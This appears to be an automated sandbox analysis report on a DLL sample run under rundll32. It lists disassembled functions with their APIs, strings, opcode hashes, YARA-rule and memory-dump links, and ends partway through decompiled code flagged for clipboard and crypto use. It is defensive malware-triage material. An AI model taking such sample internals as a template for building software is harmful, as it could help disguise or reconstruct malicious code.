Function 6E91B82F, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E91B9C9

Strings

*?, xrefs: 6E91B872

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction ID: 6411d69bc0662a2762b6f54def1d6249d96b1898237cec8680ea64f33336f80a
Opcode Fuzzy Hash: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction Fuzzy Hash: 8F611A75D18219DF9B14CFA9C8805EDBBFAEF88314B1485AAD854E7308E735EE418F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F2490, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6E8F260F

Part of subcall function 6E90838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6E9052C0,?,6E93A014,?,?,?,24448D6E), ref: 6E9083EE

Strings

ios_base::failbit set, xrefs: 6E8F24A5
t, xrefs: 6E8F2570
ios_base::badbit set, xrefs: 6E8F25A7, 6E8F25D2, 6E8F25F3

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set$t
API String ID: 3109751735-3135341975
Opcode ID: fd0c92add612417f46dde4f15f098c27feedc665388c149f9a7b807d00748bb4
Instruction ID: f6154596c1e863b1e879c31b0669f44dcc11f637e156f13099b8e90098bc4984
Opcode Fuzzy Hash: fd0c92add612417f46dde4f15f098c27feedc665388c149f9a7b807d00748bb4
Instruction Fuzzy Hash: BC41C5B2910209EFCB04CFD8C850BDEB7BCEF49354F14891AE514AB780E775E9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E918C8A, Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6E918D11

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction ID: d3f9ef7f740d1fdd466ed738cebbe8ad4c39a970a0f1a8d5789e1188b646f93d
Opcode Fuzzy Hash: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction Fuzzy Hash: B8B1173191878A9FDB29CFA8C8907EEBBB9EF56340F144969D8449B341D334C942DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E909BE3, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E909CAA
___AdjustPointer.LIBCMT ref: 6E909CCD
___AdjustPointer.LIBCMT ref: 6E909D69

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ae4bcdbe229e749817418416262b2cdd723948ea8485b384af8d757ef22b245e
Instruction ID: 0d3645839875391a5f7c1f1d20e0fd3456c2dd8fd12f00668b240ed3cea1d99c
Opcode Fuzzy Hash: ae4bcdbe229e749817418416262b2cdd723948ea8485b384af8d757ef22b245e
Instruction Fuzzy Hash: 1751F172A44712AFDB568FD5C460BAA77BCEFD1314F90492EE81947294E731E880CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7D80, Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 6E8F7DB1

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: b8f6561f871aa0764127d4ccba5b610b3245790c75cc63b66976213eac5a6c30
Instruction ID: 0b07fc0e9b99ebd3641394345731f8212bed053127e66cec8b41f0feaa0b502d
Opcode Fuzzy Hash: b8f6561f871aa0764127d4ccba5b610b3245790c75cc63b66976213eac5a6c30
Instruction Fuzzy Hash: C631D432A183158BAF08DEAED49157ABBA5EF457B0750827FEC15C72C8EB32D8519680

Uniqueness

Uniqueness Score: -1.00%

Function 6E91B760, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6E917C0A: _free.LIBCMT ref: 6E917C18

Part of subcall function 6E91C80B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,6E91E018,?,00000000,00000000), ref: 6E91C8AD

GetLastError.KERNEL32 ref: 6E91B7C8
__dosmaperr.LIBCMT ref: 6E91B7CF
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6E91B80E
__dosmaperr.LIBCMT ref: 6E91B815

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 719f2863103d787062fbaf2d3abca3b55a3cca7ee72511865bbdfddbec3eae15
Instruction ID: 985e4b41c6f4200bc2a431fc5eb6e77d40f0b7abed55c1ff14260ccf92a53924
Opcode Fuzzy Hash: 719f2863103d787062fbaf2d3abca3b55a3cca7ee72511865bbdfddbec3eae15
Instruction Fuzzy Hash: F421A37150C61DEF9B109FE6CC809EAB7BEEF453687014958E41497754E730DD418FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91897C, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
_free.LIBCMT ref: 6E9189DE
_free.LIBCMT ref: 6E918A14
SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 67585767ac15e34fa6302401264bbdba509e8001b85003a547cff9b35a50f1fe
Instruction ID: 7ab52b6da3d780a410b75699871e68d52d95d7132e6fd3c999a1c227ccc73e9d
Opcode Fuzzy Hash: 67585767ac15e34fa6302401264bbdba509e8001b85003a547cff9b35a50f1fe
Instruction Fuzzy Hash: EE11A33625CB0E7FDB695AF48C84EDA259DEFD22A87240A34F124A62C4EF61CC026D51

Uniqueness

Uniqueness Score: -1.00%

Function 6E918AD3, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6E914AA1,6E9182CF,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?), ref: 6E918AD8
_free.LIBCMT ref: 6E918B35
_free.LIBCMT ref: 6E918B6B
SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E918B76

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3841aecc09666eb7b35cc9f17667c13da3a5aaa64a4683a5acefbcb06081af50
Instruction ID: b495a1648e3dda1866db13cc2a7a7313ceb1e7d237d1f7398c54cd0b2ff866d6
Opcode Fuzzy Hash: 3841aecc09666eb7b35cc9f17667c13da3a5aaa64a4683a5acefbcb06081af50
Instruction Fuzzy Hash: 6C11C67629CB0D7BEA2D5AF94C80EDA356DEFD22B87240A34F524A62C0DF61CC016D50

Uniqueness

Uniqueness Score: -1.00%

Function 6E926EEE, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6E916918,00000000,?,?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001), ref: 6E926F05
GetLastError.KERNEL32(?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001,00000000,00000001,?,6E91EDAE,6E91685B), ref: 6E926F11

Part of subcall function 6E926ED7: CloseHandle.KERNEL32(FFFFFFFE,6E926F21,?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001,00000000,00000001), ref: 6E926EE7

___initconout.LIBCMT ref: 6E926F21

Part of subcall function 6E926E99: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E926EC8,6E92630A,00000001,?,6E91E85A,00000000,00000000,00000001,00000000), ref: 6E926EAC

WriteConsoleW.KERNEL32(?,?,6E916918,00000000,?,6E92631D,?,00000001,?,00000001,?,6E91E85A,00000000,00000000,00000001,00000000), ref: 6E926F36

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0adde314de8886255eac5c23239f19d9c4f7748409709a286160cd131d7e10b9
Instruction ID: fb845c1ed976dba4215eeb6f4496bc87f1185f87ac7544a1b2aae89d6e7f1615
Opcode Fuzzy Hash: 0adde314de8886255eac5c23239f19d9c4f7748409709a286160cd131d7e10b9
Instruction Fuzzy Hash: A2F0F836035515BFCF221FE1CC0498A3F2AFF4A3A0B054424FA0895165D632C830EF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7E90, Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 6E8F7E97
VariantCopy.OLEAUT32(?,?), ref: 6E8F7EA1
_com_issue_error.COMSUPP ref: 6E8F7EB3
VariantClear.OLEAUT32 ref: 6E8F7EC1

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearCopyInit_com_issue_error
String ID:
API String ID: 309108855-0
Opcode ID: f4e9a0824bbdab37963a5c8df1112c975eb60668997368ddd2625d15d99e97bf
Instruction ID: d890aab071fe258b8fd1c25d46ea3f4633c1fec80cd8f879b6f581882a784663
Opcode Fuzzy Hash: f4e9a0824bbdab37963a5c8df1112c975eb60668997368ddd2625d15d99e97bf
Instruction Fuzzy Hash: 44D05E732269246F9E052BE59D0CDCB7B1CEF226A53004426F714C1100DBB6C90087F8

Uniqueness

Uniqueness Score: -1.00%

Function 6E91598D, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E915996

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E9159A9
_free.LIBCMT ref: 6E9159BA
_free.LIBCMT ref: 6E9159CB

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f07ee6657f775eb4d84d5afc023215666e8eaa4804f78bd7bb69e10b8e26d188
Instruction ID: 8132eb7794145401fe6e5db700c201447372ee01735c2132f4595d97e2b675f1
Opcode Fuzzy Hash: f07ee6657f775eb4d84d5afc023215666e8eaa4804f78bd7bb69e10b8e26d188
Instruction Fuzzy Hash: 07E0BF7546CE289ACE365F94E5004C63B35EFDB7583514C1AF40052255C7B54991AFD3

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FBD70, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 202COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6E8FBEED
std::_Xinvalid_argument.LIBCPMT ref: 6E8FBFAC

Strings

unordered_map/set too long, xrefs: 6E8FBFA7

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: 89c9c89c9a0d5f4edadac46f741c9ea54d6a377e60c2eb80fa82d2db44c0faf2
Instruction ID: a93ca216d2b1a00e462855fadca58fccad6fc0d48f9b09ac8145a18beb6bc9d4
Opcode Fuzzy Hash: 89c9c89c9a0d5f4edadac46f741c9ea54d6a377e60c2eb80fa82d2db44c0faf2
Instruction Fuzzy Hash: 0871AD71A04609CFCB25CFA9C490A9AFBF4FF49354F108A6AE445AB741E731A942CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E9178ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6E91797D

Strings

pow, xrefs: 6E917955, 6E917972

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 45437fc941154289e6d052876acce54b343af24a8e8d9b695d95fe68e55e100d
Instruction ID: 4455d5ae8b3b0cbe3280eb8a4e1b2aab07a153e30a966f24513c2c9b9e41139f
Opcode Fuzzy Hash: 45437fc941154289e6d052876acce54b343af24a8e8d9b695d95fe68e55e100d
Instruction Fuzzy Hash: 04510861A3D5079ECF416AA6CA507DD37ACDF43750F208DA8E4A5422DCEB36C4AD8E42

Uniqueness

Uniqueness Score: -1.00%

Function 6E9039A0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6E903AE2
std::_Xinvalid_argument.LIBCPMT ref: 6E903BAB

Strings

unordered_map/set too long, xrefs: 6E903BA6

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: 164933a8db0f98b9c28ee262d914a568e67fb296ad951a8c4615719a0d302a55
Instruction ID: f72ab49af7e887ed960e3d530c089a0395f03c8df71bba706d26064c63c06006
Opcode Fuzzy Hash: 164933a8db0f98b9c28ee262d914a568e67fb296ad951a8c4615719a0d302a55
Instruction Fuzzy Hash: 73619071A0460ADFCB15CFA9C444AAEF7B9FF99304F10866AD415BB241E731E982CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E9150A9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6E9150EC, 6E9150F3, 6E915129

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 4a7b5fa5231e055f0504f7ddd3185b959d2f59692d0addb9f236cbe8e880a508
Instruction ID: 51b276f19aaa968d0f5054c3cd8694687e492dc857f802d863d8cd69ef66dfce
Opcode Fuzzy Hash: 4a7b5fa5231e055f0504f7ddd3185b959d2f59692d0addb9f236cbe8e880a508
Instruction Fuzzy Hash: BB418FB1A4861DAFDB22DBD9C8809DEBBBDEFC6314B21446AE81497211D770CA40CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E90A1E4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6E90A209

Strings

RCC, xrefs: 6E90A223
MOC, xrefs: 6E90A21B

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a6a3f7e7b03e6558f49c6d5aac357bd19123d89ce7c8e2df67f2b089a27637c2
Instruction ID: d2a485f606ee09d07047e677354816dd89b6474c440d83829719902ab37d3aa0
Opcode Fuzzy Hash: a6a3f7e7b03e6558f49c6d5aac357bd19123d89ce7c8e2df67f2b089a27637c2
Instruction Fuzzy Hash: 4641663190020AAFDF02CFD8CC80AEE7BBABF49304F558069E919A6261D376D950DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F1A70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6E8F1A75

Part of subcall function 6E9052A1: std::invalid_argument::invalid_argument.LIBCONCRT ref: 6E9052AD

___std_exception_copy.LIBVCRUNTIME ref: 6E8F1A9E

Strings

string too long, xrefs: 6E8F1A70

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument___std_exception_copystd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 1846318660-2556327735
Opcode ID: 75f2747735f5759b00664a44b9ce1c9af08dda6650bd7647fe615171e41a3129
Instruction ID: ce5cfbf1061b12d499008731238b2fac00d47e2d3c809c158bf2388f5708a872
Opcode Fuzzy Hash: 75f2747735f5759b00664a44b9ce1c9af08dda6650bd7647fe615171e41a3129
Instruction Fuzzy Hash: D5E0CD739203195BC6109FDCDC018C6B7DDDF65218750893AF648E7700E770E4908FA4

Uniqueness

Uniqueness Score: -1.00%

Function 6E907089, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 6E8F7BA0: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,6E93AA84), ref: 6E8F7BA5
Part of subcall function 6E8F7BA0: GetLastError.KERNEL32(?,00000000,00000000,?,6E93AA84), ref: 6E8F7BAF

IsDebuggerPresent.KERNEL32(?,?,?,6E8F11DF), ref: 6E9070BC
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,6E8F11DF), ref: 6E9070CB

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 6E9070C6

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: de77518013543acd5834bdbc6ffb14d53ed054eccc53570237765e3a7786a4aa
Instruction ID: 8e5c7c65b4f40186a726a0d36075edff858863089bf84d29c20462b1f3eeb1f8
Opcode Fuzzy Hash: de77518013543acd5834bdbc6ffb14d53ed054eccc53570237765e3a7786a4aa
Instruction Fuzzy Hash: D0E06DB0214701CFEB20AFB9C504346BBF8AF46754F408D2DD955C6684EBB5D9488FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E9073A0, Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,00000000,6E90226B), ref: 6E9073A5
HeapAlloc.KERNEL32(00000000), ref: 6E9073AC
GetProcessHeap.KERNEL32(00000000,00000000), ref: 6E9073F2
HeapFree.KERNEL32(00000000), ref: 6E9073F9

Part of subcall function 6E90723E: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,6E9073E8,00000000), ref: 6E907262
Part of subcall function 6E90723E: HeapAlloc.KERNEL32(00000000), ref: 6E907269

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 69ab38cc16d6af3ed4087cfd252f3dfd5fe5a80eb8d6a8106249f9d775ca7385
Instruction ID: f70c1563b2ea36bb5075a763ec6ed180cc46c96a976b2df1e655988822315502
Opcode Fuzzy Hash: 69ab38cc16d6af3ed4087cfd252f3dfd5fe5a80eb8d6a8106249f9d775ca7385
Instruction Fuzzy Hash: 6BF09033658B129FDE6237FD6D0899E296A9FC2671781881CF945C62C4DF70C8019FA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 7040 Parent PID: 6956 rundll32.exeCOMMON

Executed Functions

Function 6E8F6100, Relevance: 63.2, APIs: 41, Instructions: 1688
windowclipboardthreadCOMMONCrypto

Download Yara Rule

C-Code - Quality: 34%

			E6E8F6100(void* __ebx, signed int __ecx, void* __edx, void* __edi) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				signed int _v24;
				signed char _v28;
				signed int _v32;
				signed int _v36;
				signed char _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				signed int _v65;
				signed int _v72;
				signed int _v76;
				signed char _v80;
				signed int _v88;
				signed int _v92;
				signed char _v96;
				signed int _v116;
				char _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				signed int _v144;
				char _v148;
				signed int _v152;
				signed int _v172;
				void* __esi;
				signed int _t354;
				signed int _t355;
				void* _t360;
				void* _t361;
				signed char _t368;
				struct HWND__* _t370;
				signed int _t375;
				signed int _t376;
				signed char _t383;
				signed int _t384;
				signed char _t387;
				void* _t390;
				signed int _t395;
				signed char _t397;
				void* _t400;
				void* _t404;
				intOrPtr* _t407;
				signed char _t409;
				void* _t415;
				void* _t420;
				void* _t421;
				void* _t423;
				void* _t431;
				void* _t434;
				signed char _t435;
				void* _t437;
				signed char _t439;
				signed char _t448;
				signed int _t450;
				intOrPtr _t453;
				void* _t458;
				void* _t462;
				void* _t467;
				void* _t470;
				void* _t475;
				void* _t477;
				struct HICON__* _t479;
				signed int _t480;
				signed int _t482;
				long _t484;
				void* _t486;
				signed int _t489;
				signed char _t496;
				void* _t499;
				signed int _t509;
				signed int _t510;
				signed char _t512;
				signed int _t513;
				void* _t514;
				signed char _t516;
				void* _t519;
				signed int _t520;
				signed char _t521;
				signed int _t523;
				signed char _t524;
				signed int _t526;
				signed int _t531;
				signed int _t532;
				signed char _t534;
				void* _t541;
				signed int _t542;
				void* _t545;
				signed int _t546;
				int _t548;
				void* _t549;
				void* _t550;
				int _t556;
				void* _t557;
				signed int _t564;
				signed int _t565;
				signed int _t568;
				void* _t571;
				signed char _t574;
				signed int _t576;
				void* _t577;
				void* _t578;
				signed int _t580;
				signed int _t581;
				signed char _t584;
				signed int _t588;
				signed int _t589;
				signed int _t592;
